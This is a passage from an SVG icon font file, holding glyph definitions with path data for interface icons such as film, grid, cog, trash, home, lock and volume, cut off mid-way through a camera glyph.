d="M1280 137q0 -109 -62.5 -187t-150.5 -78h-854q-88 0 -150.5 78t-62.5 187q0 85 8.5 160.5t31.5 152t58.5 131t94 89t134.5 34.5q131 -128 313 -128t313 128q76 0 134.5 -34.5t94 -89t58.5 -131t31.5 -152t8.5 -160.5zM1024 1024q0 -159 -112.5 -271.5t-271.5 -112.5
t-271.5 112.5t-112.5 271.5t112.5 271.5t271.5 112.5t271.5 -112.5t112.5 -271.5z" />
    <glyph glyph-name="film" unicode="&#xf008;" horiz-adv-x="1920" 
d="M384 -64v128q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h128q26 0 45 19t19 45zM384 320v128q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h128q26 0 45 19t19 45zM384 704v128q0 26 -19 45t-45 19h-128
q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h128q26 0 45 19t19 45zM1408 -64v512q0 26 -19 45t-45 19h-768q-26 0 -45 -19t-19 -45v-512q0 -26 19 -45t45 -19h768q26 0 45 19t19 45zM384 1088v128q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45
t45 -19h128q26 0 45 19t19 45zM1792 -64v128q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h128q26 0 45 19t19 45zM1408 704v512q0 26 -19 45t-45 19h-768q-26 0 -45 -19t-19 -45v-512q0 -26 19 -45t45 -19h768q26 0 45 19t19 45zM1792 320v128
q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h128q26 0 45 19t19 45zM1792 704v128q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h128q26 0 45 19t19 45zM1792 1088v128q0 26 -19 45t-45 19h-128q-26 0 -45 -19
t-19 -45v-128q0 -26 19 -45t45 -19h128q26 0 45 19t19 45zM1920 1248v-1344q0 -66 -47 -113t-113 -47h-1600q-66 0 -113 47t-47 113v1344q0 66 47 113t113 47h1600q66 0 113 -47t47 -113z" />
    <glyph glyph-name="th_large" unicode="&#xf009;" horiz-adv-x="1664" 
d="M768 512v-384q0 -52 -38 -90t-90 -38h-512q-52 0 -90 38t-38 90v384q0 52 38 90t90 38h512q52 0 90 -38t38 -90zM768 1280v-384q0 -52 -38 -90t-90 -38h-512q-52 0 -90 38t-38 90v384q0 52 38 90t90 38h512q52 0 90 -38t38 -90zM1664 512v-384q0 -52 -38 -90t-90 -38
h-512q-52 0 -90 38t-38 90v384q0 52 38 90t90 38h512q52 0 90 -38t38 -90zM1664 1280v-384q0 -52 -38 -90t-90 -38h-512q-52 0 -90 38t-38 90v384q0 52 38 90t90 38h512q52 0 90 -38t38 -90z" />
    <glyph glyph-name="th" unicode="&#xf00a;" horiz-adv-x="1792" 
d="M512 288v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM512 800v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM1152 288v-192q0 -40 -28 -68t-68 -28h-320
q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM512 1312v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM1152 800v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28
h320q40 0 68 -28t28 -68zM1792 288v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM1152 1312v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM1792 800v-192
q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM1792 1312v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68z" />
    <glyph glyph-name="th_list" unicode="&#xf00b;" horiz-adv-x="1792" 
d="M512 288v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM512 800v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM1792 288v-192q0 -40 -28 -68t-68 -28h-960
q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h960q40 0 68 -28t28 -68zM512 1312v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM1792 800v-192q0 -40 -28 -68t-68 -28h-960q-40 0 -68 28t-28 68v192q0 40 28 68t68 28
h960q40 0 68 -28t28 -68zM1792 1312v-192q0 -40 -28 -68t-68 -28h-960q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h960q40 0 68 -28t28 -68z" />
    <glyph glyph-name="ok" unicode="&#xf00c;" horiz-adv-x="1792" 
d="M1671 970q0 -40 -28 -68l-724 -724l-136 -136q-28 -28 -68 -28t-68 28l-136 136l-362 362q-28 28 -28 68t28 68l136 136q28 28 68 28t68 -28l294 -295l656 657q28 28 68 28t68 -28l136 -136q28 -28 28 -68z" />
    <glyph glyph-name="remove" unicode="&#xf00d;" horiz-adv-x="1408" 
d="M1298 214q0 -40 -28 -68l-136 -136q-28 -28 -68 -28t-68 28l-294 294l-294 -294q-28 -28 -68 -28t-68 28l-136 136q-28 28 -28 68t28 68l294 294l-294 294q-28 28 -28 68t28 68l136 136q28 28 68 28t68 -28l294 -294l294 294q28 28 68 28t68 -28l136 -136q28 -28 28 -68
t-28 -68l-294 -294l294 -294q28 -28 28 -68z" />
    <glyph glyph-name="zoom_in" unicode="&#xf00e;" horiz-adv-x="1664" 
d="M1024 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-224v-224q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v224h-224q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h224v224q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5v-224h224
q13 0 22.5 -9.5t9.5 -22.5zM1152 704q0 185 -131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5t316.5 131.5t131.5 316.5zM1664 -128q0 -53 -37.5 -90.5t-90.5 -37.5q-54 0 -90 38l-343 342q-179 -124 -399 -124q-143 0 -273.5 55.5
t-225 150t-150 225t-55.5 273.5t55.5 273.5t150 225t225 150t273.5 55.5t273.5 -55.5t225 -150t150 -225t55.5 -273.5q0 -220 -124 -399l343 -343q37 -37 37 -90z" />
    <glyph glyph-name="zoom_out" unicode="&#xf010;" horiz-adv-x="1664" 
d="M1024 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-576q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h576q13 0 22.5 -9.5t9.5 -22.5zM1152 704q0 185 -131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5t316.5 131.5t131.5 316.5z
M1664 -128q0 -53 -37.5 -90.5t-90.5 -37.5q-54 0 -90 38l-343 342q-179 -124 -399 -124q-143 0 -273.5 55.5t-225 150t-150 225t-55.5 273.5t55.5 273.5t150 225t225 150t273.5 55.5t273.5 -55.5t225 -150t150 -225t55.5 -273.5q0 -220 -124 -399l343 -343q37 -37 37 -90z
" />
    <glyph glyph-name="off" unicode="&#xf011;" 
d="M1536 640q0 -156 -61 -298t-164 -245t-245 -164t-298 -61t-298 61t-245 164t-164 245t-61 298q0 182 80.5 343t226.5 270q43 32 95.5 25t83.5 -50q32 -42 24.5 -94.5t-49.5 -84.5q-98 -74 -151.5 -181t-53.5 -228q0 -104 40.5 -198.5t109.5 -163.5t163.5 -109.5
t198.5 -40.5t198.5 40.5t163.5 109.5t109.5 163.5t40.5 198.5q0 121 -53.5 228t-151.5 181q-42 32 -49.5 84.5t24.5 94.5q31 43 84 50t95 -25q146 -109 226.5 -270t80.5 -343zM896 1408v-640q0 -52 -38 -90t-90 -38t-90 38t-38 90v640q0 52 38 90t90 38t90 -38t38 -90z" />
    <glyph glyph-name="signal" unicode="&#xf012;" horiz-adv-x="1792" 
d="M256 96v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM640 224v-320q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v320q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM1024 480v-576q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23
v576q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM1408 864v-960q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v960q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM1792 1376v-1472q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v1472q0 14 9 23t23 9h192q14 0 23 -9t9 -23z" />
    <glyph glyph-name="cog" unicode="&#xf013;" 
d="M1024 640q0 106 -75 181t-181 75t-181 -75t-75 -181t75 -181t181 -75t181 75t75 181zM1536 749v-222q0 -12 -8 -23t-20 -13l-185 -28q-19 -54 -39 -91q35 -50 107 -138q10 -12 10 -25t-9 -23q-27 -37 -99 -108t-94 -71q-12 0 -26 9l-138 108q-44 -23 -91 -38
q-16 -136 -29 -186q-7 -28 -36 -28h-222q-14 0 -24.5 8.5t-11.5 21.5l-28 184q-49 16 -90 37l-141 -107q-10 -9 -25 -9q-14 0 -25 11q-126 114 -165 168q-7 10 -7 23q0 12 8 23q15 21 51 66.5t54 70.5q-27 50 -41 99l-183 27q-13 2 -21 12.5t-8 23.5v222q0 12 8 23t19 13
l186 28q14 46 39 92q-40 57 -107 138q-10 12 -10 24q0 10 9 23q26 36 98.5 107.5t94.5 71.5q13 0 26 -10l138 -107q44 23 91 38q16 136 29 186q7 28 36 28h222q14 0 24.5 -8.5t11.5 -21.5l28 -184q49 -16 90 -37l142 107q9 9 24 9q13 0 25 -10q129 -119 165 -170q7 -8 7 -22
q0 -12 -8 -23q-15 -21 -51 -66.5t-54 -70.5q26 -50 41 -98l183 -28q13 -2 21 -12.5t8 -23.5z" />
    <glyph glyph-name="trash" unicode="&#xf014;" horiz-adv-x="1408" 
d="M512 800v-576q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v576q0 14 9 23t23 9h64q14 0 23 -9t9 -23zM768 800v-576q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v576q0 14 9 23t23 9h64q14 0 23 -9t9 -23zM1024 800v-576q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v576
q0 14 9 23t23 9h64q14 0 23 -9t9 -23zM1152 76v948h-896v-948q0 -22 7 -40.5t14.5 -27t10.5 -8.5h832q3 0 10.5 8.5t14.5 27t7 40.5zM480 1152h448l-48 117q-7 9 -17 11h-317q-10 -2 -17 -11zM1408 1120v-64q0 -14 -9 -23t-23 -9h-96v-948q0 -83 -47 -143.5t-113 -60.5h-832
q-66 0 -113 58.5t-47 141.5v952h-96q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h309l70 167q15 37 54 63t79 26h320q40 0 79 -26t54 -63l70 -167h309q14 0 23 -9t9 -23z" />
    <glyph glyph-name="home" unicode="&#xf015;" horiz-adv-x="1664" 
d="M1408 544v-480q0 -26 -19 -45t-45 -19h-384v384h-256v-384h-384q-26 0 -45 19t-19 45v480q0 1 0.5 3t0.5 3l575 474l575 -474q1 -2 1 -6zM1631 613l-62 -74q-8 -9 -21 -11h-3q-13 0 -21 7l-692 577l-692 -577q-12 -8 -24 -7q-13 2 -21 11l-62 74q-8 10 -7 23.5t11 21.5
l719 599q32 26 76 26t76 -26l244 -204v195q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-408l219 -182q10 -8 11 -21.5t-7 -23.5z" />
    <glyph glyph-name="file_alt" unicode="&#xf016;" 
d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z
" />
    <glyph glyph-name="time" unicode="&#xf017;" 
d="M896 992v-448q0 -14 -9 -23t-23 -9h-320q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h224v352q0 14 9 23t23 9h64q14 0 23 -9t9 -23zM1312 640q0 148 -73 273t-198 198t-273 73t-273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273zM1536 640
q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="road" unicode="&#xf018;" horiz-adv-x="1920" 
d="M1111 540v4l-24 320q-1 13 -11 22.5t-23 9.5h-186q-13 0 -23 -9.5t-11 -22.5l-24 -320v-4q-1 -12 8 -20t21 -8h244q12 0 21 8t8 20zM1870 73q0 -73 -46 -73h-704q13 0 22 9.5t8 22.5l-20 256q-1 13 -11 22.5t-23 9.5h-272q-13 0 -23 -9.5t-11 -22.5l-20 -256
q-1 -13 8 -22.5t22 -9.5h-704q-46 0 -46 73q0 54 26 116l417 1044q8 19 26 33t38 14h339q-13 0 -23 -9.5t-11 -22.5l-15 -192q-1 -14 8 -23t22 -9h166q13 0 22 9t8 23l-15 192q-1 13 -11 22.5t-23 9.5h339q20 0 38 -14t26 -33l417 -1044q26 -62 26 -116z" />
    <glyph glyph-name="download_alt" unicode="&#xf019;" horiz-adv-x="1664" 
d="M1280 192q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1536 192q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1664 416v-320q0 -40 -28 -68t-68 -28h-1472q-40 0 -68 28t-28 68v320q0 40 28 68t68 28h465l135 -136
q58 -56 136 -56t136 56l136 136h464q40 0 68 -28t28 -68zM1339 985q17 -41 -14 -70l-448 -448q-18 -19 -45 -19t-45 19l-448 448q-31 29 -14 70q17 39 59 39h256v448q0 26 19 45t45 19h256q26 0 45 -19t19 -45v-448h256q42 0 59 -39z" />
    <glyph glyph-name="download" unicode="&#xf01a;" 
d="M1120 608q0 -12 -10 -24l-319 -319q-11 -9 -23 -9t-23 9l-320 320q-15 16 -7 35q8 20 30 20h192v352q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-352h192q14 0 23 -9t9 -23zM768 1184q-148 0 -273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273
t-73 273t-198 198t-273 73zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="upload" unicode="&#xf01b;" 
d="M1118 660q-8 -20 -30 -20h-192v-352q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v352h-192q-14 0 -23 9t-9 23q0 12 10 24l319 319q11 9 23 9t23 -9l320 -320q15 -16 7 -35zM768 1184q-148 0 -273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73t273 73t198 198
t73 273t-73 273t-198 198t-273 73zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="inbox" unicode="&#xf01c;" 
d="M1023 576h316q-1 3 -2.5 8.5t-2.5 7.5l-212 496h-708l-212 -496q-1 -3 -2.5 -8.5t-2.5 -7.5h316l95 -192h320zM1536 546v-482q0 -26 -19 -45t-45 -19h-1408q-26 0 -45 19t-19 45v482q0 62 25 123l238 552q10 25 36.5 42t52.5 17h832q26 0 52.5 -17t36.5 -42l238 -552
q25 -61 25 -123z" />
    <glyph glyph-name="play_circle" unicode="&#xf01d;" 
d="M1184 640q0 -37 -32 -55l-544 -320q-15 -9 -32 -9q-16 0 -32 8q-32 19 -32 56v640q0 37 32 56q33 18 64 -1l544 -320q32 -18 32 -55zM1312 640q0 148 -73 273t-198 198t-273 73t-273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273zM1536 640
q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="repeat" unicode="&#xf01e;" 
d="M1536 1280v-448q0 -26 -19 -45t-45 -19h-448q-42 0 -59 40q-17 39 14 69l138 138q-148 137 -349 137q-104 0 -198.5 -40.5t-163.5 -109.5t-109.5 -163.5t-40.5 -198.5t40.5 -198.5t109.5 -163.5t163.5 -109.5t198.5 -40.5q119 0 225 52t179 147q7 10 23 12q15 0 25 -9
l137 -138q9 -8 9.5 -20.5t-7.5 -22.5q-109 -132 -264 -204.5t-327 -72.5q-156 0 -298 61t-245 164t-164 245t-61 298t61 298t164 245t245 164t298 61q147 0 284.5 -55.5t244.5 -156.5l130 129q29 31 70 14q39 -17 39 -59z" />
    <glyph glyph-name="refresh" unicode="&#xf021;" 
d="M1511 480q0 -5 -1 -7q-64 -268 -268 -434.5t-478 -166.5q-146 0 -282.5 55t-243.5 157l-129 -129q-19 -19 -45 -19t-45 19t-19 45v448q0 26 19 45t45 19h448q26 0 45 -19t19 -45t-19 -45l-137 -137q71 -66 161 -102t187 -36q134 0 250 65t186 179q11 17 53 117
q8 23 30 23h192q13 0 22.5 -9.5t9.5 -22.5zM1536 1280v-448q0 -26 -19 -45t-45 -19h-448q-26 0 -45 19t-19 45t19 45l138 138q-148 137 -349 137q-134 0 -250 -65t-186 -179q-11 -17 -53 -117q-8 -23 -30 -23h-199q-13 0 -22.5 9.5t-9.5 22.5v7q65 268 270 434.5t480 166.5
q146 0 284 -55.5t245 -156.5l130 129q19 19 45 19t45 -19t19 -45z" />
    <glyph glyph-name="list_alt" unicode="&#xf022;" horiz-adv-x="1792" 
d="M384 352v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM384 608v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M384 864v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM1536 352v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-960q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h960q13 0 22.5 -9.5t9.5 -22.5z
M1536 608v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-960q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h960q13 0 22.5 -9.5t9.5 -22.5zM1536 864v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-960q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h960q13 0 22.5 -9.5
t9.5 -22.5zM1664 160v832q0 13 -9.5 22.5t-22.5 9.5h-1472q-13 0 -22.5 -9.5t-9.5 -22.5v-832q0 -13 9.5 -22.5t22.5 -9.5h1472q13 0 22.5 9.5t9.5 22.5zM1792 1248v-1088q0 -66 -47 -113t-113 -47h-1472q-66 0 -113 47t-47 113v1088q0 66 47 113t113 47h1472q66 0 113 -47
t47 -113z" />
    <glyph glyph-name="lock" unicode="&#xf023;" horiz-adv-x="1152" 
d="M320 768h512v192q0 106 -75 181t-181 75t-181 -75t-75 -181v-192zM1152 672v-576q0 -40 -28 -68t-68 -28h-960q-40 0 -68 28t-28 68v576q0 40 28 68t68 28h32v192q0 184 132 316t316 132t316 -132t132 -316v-192h32q40 0 68 -28t28 -68z" />
    <glyph glyph-name="flag" unicode="&#xf024;" horiz-adv-x="1792" 
d="M320 1280q0 -72 -64 -110v-1266q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v1266q-64 38 -64 110q0 53 37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1792 1216v-763q0 -25 -12.5 -38.5t-39.5 -27.5q-215 -116 -369 -116q-61 0 -123.5 22t-108.5 48
t-115.5 48t-142.5 22q-192 0 -464 -146q-17 -9 -33 -9q-26 0 -45 19t-19 45v742q0 32 31 55q21 14 79 43q236 120 421 120q107 0 200 -29t219 -88q38 -19 88 -19q54 0 117.5 21t110 47t88 47t54.5 21q26 0 45 -19t19 -45z" />
    <glyph glyph-name="headphones" unicode="&#xf025;" horiz-adv-x="1664" 
d="M1664 650q0 -166 -60 -314l-20 -49l-185 -33q-22 -83 -90.5 -136.5t-156.5 -53.5v-32q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v576q0 14 9 23t23 9h64q14 0 23 -9t9 -23v-32q71 0 130 -35.5t93 -95.5l68 12q29 95 29 193q0 148 -88 279t-236.5 209t-315.5 78
t-315.5 -78t-236.5 -209t-88 -279q0 -98 29 -193l68 -12q34 60 93 95.5t130 35.5v32q0 14 9 23t23 9h64q14 0 23 -9t9 -23v-576q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v32q-88 0 -156.5 53.5t-90.5 136.5l-185 33l-20 49q-60 148 -60 314q0 151 67 291t179 242.5
t266 163.5t320 61t320 -61t266 -163.5t179 -242.5t67 -291z" />
    <glyph glyph-name="volume_off" unicode="&#xf026;" horiz-adv-x="768" 
d="M768 1184v-1088q0 -26 -19 -45t-45 -19t-45 19l-333 333h-262q-26 0 -45 19t-19 45v384q0 26 19 45t45 19h262l333 333q19 19 45 19t45 -19t19 -45z" />
    <glyph glyph-name="volume_down" unicode="&#xf027;" horiz-adv-x="1152" 
d="M768 1184v-1088q0 -26 -19 -45t-45 -19t-45 19l-333 333h-262q-26 0 -45 19t-19 45v384q0 26 19 45t45 19h262l333 333q19 19 45 19t45 -19t19 -45zM1152 640q0 -76 -42.5 -141.5t-112.5 -93.5q-10 -5 -25 -5q-26 0 -45 18.5t-19 45.5q0 21 12 35.5t29 25t34 23t29 36
t12 56.5t-12 56.5t-29 36t-34 23t-29 25t-12 35.5q0 27 19 45.5t45 18.5q15 0 25 -5q70 -27 112.5 -93t42.5 -142z" />
    <glyph glyph-name="volume_up" unicode="&#xf028;" horiz-adv-x="1664" 
d="M768 1184v-1088q0 -26 -19 -45t-45 -19t-45 19l-333 333h-262q-26 0 -45 19t-19 45v384q0 26 19 45t45 19h262l333 333q19 19 45 19t45 -19t19 -45zM1152 640q0 -76 -42.5 -141.5t-112.5 -93.5q-10 -5 -25 -5q-26 0 -45 18.5t-19 45.5q0 21 12 35.5t29 25t34 23t29 36
t12 56.5t-12 56.5t-29 36t-34 23t-29 25t-12 35.5q0 27 19 45.5t45 18.5q15 0 25 -5q70 -27 112.5 -93t42.5 -142zM1408 640q0 -153 -85 -282.5t-225 -188.5q-13 -5 -25 -5q-27 0 -46 19t-19 45q0 39 39 59q56 29 76 44q74 54 115.5 135.5t41.5 173.5t-41.5 173.5
t-115.5 135.5q-20 15 -76 44q-39 20 -39 59q0 26 19 45t45 19q13 0 26 -5q140 -59 225 -188.5t85 -282.5zM1664 640q0 -230 -127 -422.5t-338 -283.5q-13 -5 -26 -5q-26 0 -45 19t-19 45q0 36 39 59q7 4 22.5 10.5t22.5 10.5q46 25 82 51q123 91 192 227t69 289t-69 289
t-192 227q-36 26 -82 51q-7 4 -22.5 10.5t-22.5 10.5q-39 23 -39 59q0 26 19 45t45 19q13 0 26 -5q211 -91 338 -283.5t127 -422.5z" />
    <glyph glyph-name="qrcode" unicode="&#xf029;" horiz-adv-x="1408" 
d="M384 384v-128h-128v128h128zM384 1152v-128h-128v128h128zM1152 1152v-128h-128v128h128zM128 129h384v383h-384v-383zM128 896h384v384h-384v-384zM896 896h384v384h-384v-384zM640 640v-640h-640v640h640zM1152 128v-128h-128v128h128zM1408 128v-128h-128v128h128z
M1408 640v-384h-384v128h-128v-384h-128v640h384v-128h128v128h128zM640 1408v-640h-640v640h640zM1408 1408v-640h-640v640h640z" />
    <glyph glyph-name="barcode" unicode="&#xf02a;" horiz-adv-x="1792" 
d="M63 0h-63v1408h63v-1408zM126 1h-32v1407h32v-1407zM220 1h-31v1407h31v-1407zM377 1h-31v1407h31v-1407zM534 1h-62v1407h62v-1407zM660 1h-31v1407h31v-1407zM723 1h-31v1407h31v-1407zM786 1h-31v1407h31v-1407zM943 1h-63v1407h63v-1407zM1100 1h-63v1407h63v-1407z
M1226 1h-63v1407h63v-1407zM1352 1h-63v1407h63v-1407zM1446 1h-63v1407h63v-1407zM1635 1h-94v1407h94v-1407zM1698 1h-32v1407h32v-1407zM1792 0h-63v1408h63v-1408z" />
    <glyph glyph-name="tag" unicode="&#xf02b;" 
d="M448 1088q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1515 512q0 -53 -37 -90l-491 -492q-39 -37 -91 -37q-53 0 -90 37l-715 716q-38 37 -64.5 101t-26.5 117v416q0 52 38 90t90 38h416q53 0 117 -26.5t102 -64.5
l715 -714q37 -39 37 -91z" />
    <glyph glyph-name="tags" unicode="&#xf02c;" horiz-adv-x="1920" 
d="M448 1088q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1515 512q0 -53 -37 -90l-491 -492q-39 -37 -91 -37q-53 0 -90 37l-715 716q-38 37 -64.5 101t-26.5 117v416q0 52 38 90t90 38h416q53 0 117 -26.5t102 -64.5
l715 -714q37 -39 37 -91zM1899 512q0 -53 -37 -90l-491 -492q-39 -37 -91 -37q-36 0 -59 14t-53 45l470 470q37 37 37 90q0 52 -37 91l-715 714q-38 38 -102 64.5t-117 26.5h224q53 0 117 -26.5t102 -64.5l715 -714q37 -39 37 -91z" />
    <glyph glyph-name="book" unicode="&#xf02d;" horiz-adv-x="1664" 
d="M1639 1058q40 -57 18 -129l-275 -906q-19 -64 -76.5 -107.5t-122.5 -43.5h-923q-77 0 -148.5 53.5t-99.5 131.5q-24 67 -2 127q0 4 3 27t4 37q1 8 -3 21.5t-3 19.5q2 11 8 21t16.5 23.5t16.5 23.5q23 38 45 91.5t30 91.5q3 10 0.5 30t-0.5 28q3 11 17 28t17 23
q21 36 42 92t25 90q1 9 -2.5 32t0.5 28q4 13 22 30.5t22 22.5q19 26 42.5 84.5t27.5 96.5q1 8 -3 25.5t-2 26.5q2 8 9 18t18 23t17 21q8 12 16.5 30.5t15 35t16 36t19.5 32t26.5 23.5t36 11.5t47.5 -5.5l-1 -3q38 9 51 9h761q74 0 114 -56t18 -130l-274 -906
q-36 -119 -71.5 -153.5t-128.5 -34.5h-869q-27 0 -38 -15q-11 -16 -1 -43q24 -70 144 -70h923q29 0 56 15.5t35 41.5l300 987q7 22 5 57q38 -15 59 -43zM575 1056q-4 -13 2 -22.5t20 -9.5h608q13 0 25.5 9.5t16.5 22.5l21 64q4 13 -2 22.5t-20 9.5h-608q-13 0 -25.5 -9.5
t-16.5 -22.5zM492 800q-4 -13 2 -22.5t20 -9.5h608q13 0 25.5 9.5t16.5 22.5l21 64q4 13 -2 22.5t-20 9.5h-608q-13 0 -25.5 -9.5t-16.5 -22.5z" />
    <glyph glyph-name="bookmark" unicode="&#xf02e;" horiz-adv-x="1280" 
d="M1164 1408q23 0 44 -9q33 -13 52.5 -41t19.5 -62v-1289q0 -34 -19.5 -62t-52.5 -41q-19 -8 -44 -8q-48 0 -83 32l-441 424l-441 -424q-36 -33 -83 -33q-23 0 -44 9q-33 13 -52.5 41t-19.5 62v1289q0 34 19.5 62t52.5 41q21 9 44 9h1048z" />
    <glyph glyph-name="print" unicode="&#xf02f;" horiz-adv-x="1664" 
d="M384 0h896v256h-896v-256zM384 640h896v384h-160q-40 0 -68 28t-28 68v160h-640v-640zM1536 576q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1664 576v-416q0 -13 -9.5 -22.5t-22.5 -9.5h-224v-160q0 -40 -28 -68t-68 -28h-960q-40 0 -68 28t-28 68
v160h-224q-13 0 -22.5 9.5t-9.5 22.5v416q0 79 56.5 135.5t135.5 56.5h64v544q0 40 28 68t68 28h672q40 0 88 -20t76 -48l152 -152q28 -28 48 -76t20 -88v-256h64q79 0 135.5 -56.5t56.5 -135.5z" />
    <glyph glyph-name="camera" unicode="&#xf030;" horiz-adv-x="1920" 
